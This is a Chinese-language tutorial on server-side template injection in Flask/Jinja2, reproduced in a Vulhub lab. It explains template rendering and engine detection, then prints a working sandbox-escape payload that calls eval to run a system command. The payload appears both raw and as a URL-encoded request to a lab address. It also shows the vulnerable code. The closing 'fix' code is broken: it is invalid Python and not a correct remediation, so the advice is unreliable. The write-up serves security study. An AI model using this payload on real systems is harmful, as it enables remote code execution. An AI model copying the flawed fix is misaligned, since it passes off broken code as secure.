Flask(Jinja2) 服务端模板注入漏洞¶
漏洞描述¶
就是服务器模板中拼接了恶意用户输入导致各种漏洞。
通过模板,Web 应用可以把输入转换成特定的 HTML 文件或者 email 格式
Flask 和 Jinja2 介绍:¶
- Flask 是一个轻量级的基于 Python 的 web 框架。
- Jinja 模板只是一个属于 Flask 框架的文本文件,可以 基于模板生成任何基于文本的格式(HTML、XML、CSV、LaTeX 等),一般用在前端的项目中,渲染 HTML 文件。
模板包含变量或表达式,这两者在模板求值的时候会被替换为值。模板中还有标签,控制模板的逻辑。模板语法的大量灵感来自 Django 和 Python
模板渲染原理¶
首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
-
后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的 HTML 字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。
-
前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是 json 等数据包封装的数据,也可能是 html 代码,他都是由浏览器前端来解析渲染成 html 的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。
影响版本¶
- 本质上不是 flask 本身的漏洞,而是由于用户编写代码不安全造成的
Note
只要存在这种不安全的代码,那么就是有漏洞的
环境复现¶
- Vulhub 项目
- Docker-compose 启动

漏洞复现¶
漏洞验证¶

Note
根据页面回显,可以得到如下信息:
- 路由为/
- 参数为 name,传入方式为 GET
- 页面会根据 name 的值来进行回显
判断模板引擎¶
检测到模板注入后,我们需要判断具体的模板引擎。
我们需要 fuzz 不同的字符,再通过返回的错误判断。
当模板引擎屏蔽错误后,该类当法就失效了,并且暴力 fuzz 也对攻击自动化不友好。
Burpsuite 则对不同模板接受的 payload 做了一个分类,并以此快速判断模板引擎:

Note
如下表

Tip
这里我们使用工具来辅助探测


Success
可以看到工具采取的是 fuzz 的方法探测模板框架,同时探测出了模板为 jinja2,存在注入点,可读可写可执行
命令执行¶
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
http://192.168.40.129:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

[! success] 可以看到成功执行命令

Success
同样的,我们也可以通过工具来拿到 shell
漏洞原理¶
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()

Important
t = Template("Hello " + name) return t.render()
其中 name 直接拼接到字符串中,而后 return 返回了模板,从而导致了当 name 为恶意代码时,就会被执行
修复建议¶
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/s1mpL3")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + {{defense}})
return t.render(defense=name)
if __name__ == "__main__":
app.run()
Important
不直接将 name 和字符串拼接,而是先就对 name 进行模板化,达到一种预处理效果,从而避免了 SSTI 注入问题